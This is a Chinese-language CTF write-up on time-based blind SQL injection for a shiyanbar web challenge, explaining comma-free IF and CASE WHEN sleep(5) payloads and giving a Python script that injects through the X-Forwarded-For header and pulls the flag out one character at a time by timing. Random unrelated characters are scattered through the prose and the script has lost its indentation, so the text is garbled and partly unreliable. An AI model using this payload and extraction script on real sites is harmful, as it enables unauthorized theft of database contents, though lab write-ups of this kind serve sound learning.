之前遇到延時注入不太理解就放過了帜矾,果然遇到的問題不解決就會在不久的將來就讓你后悔沒學習奋蔚,好了送火,這是實驗吧的一個題目http://ctf5.shiyanbar.com/web/wonderkun/index.php
經(jīng)過測試發(fā)現(xiàn)逗號后面的內(nèi)容會被截斷,那么注入的時候就不能用逗號了歹茶,看了大神的writeup之后決定做個筆記來記錄基于時間注入的語句夕玩,首次在http://blog.csdn.net/bear_n/article/details/53057716
這里看到了這樣的語句你弦,if(條件1,條件2燎孟,條件3)如果條件1成立就執(zhí)行條件2禽作,如果條件1不成立條件2成立就執(zhí)行條件3,于是在注入時我們可以構造這樣的語句if(((length database())>0),1,sleep(5)),當測試語句為真時立刻回顯揩页,為假時過5秒再回顯旷偿,這樣就可以為盲注提供依據(jù)了。這里過濾了單引號自然不能用這個語句了爆侣,但是方法總是多種多樣的萍程,
第二個語法,select case when() then do else 1 end? 這樣就是如果條件成立就過5秒執(zhí)行兔仰,否則直接執(zhí)行茫负,都是相同的道理啊,這樣就避免了單引號的出現(xiàn)乎赴,于是有了下面的腳本(參考自http://www.reibang.com/p/5d34b3722128)
#coding:utf-8
import requests
import string
s=requests.session()
url="http://ctf5.shiyanbar.com/web/wonderkun/index.php"
flag=''
guess=string.lowercase+string.uppercase+string.digits
for i in range(33):
for st in guess:
headers={"x-forwarded-for":"1'+"+"(select case when(substr((select flag from flag) from %d for 1)='%s') then sleep(5) else 1 end) and '1'='1" %(i,st)}
try:
res=s.get(url,headers=headers,timeout=4)
except requests.exceptions.ReadTimeout:
flag+=st
print "flag:",flag
break
print "result:"+flag
這里記錄一下我的理解忍法,guess里存放著大小寫字母和數(shù)字,在when()里的substr用的是from %d for 1,和substr(xx,1,1)是一個道理无虚,同樣避免了單引號缔赠,在接下來是異常處理衍锚,設置超時時間為4秒友题,requests.exceptions.ReadTimeout:為捕獲異常,當超過4秒時捕獲戴质,所以有了最后的flag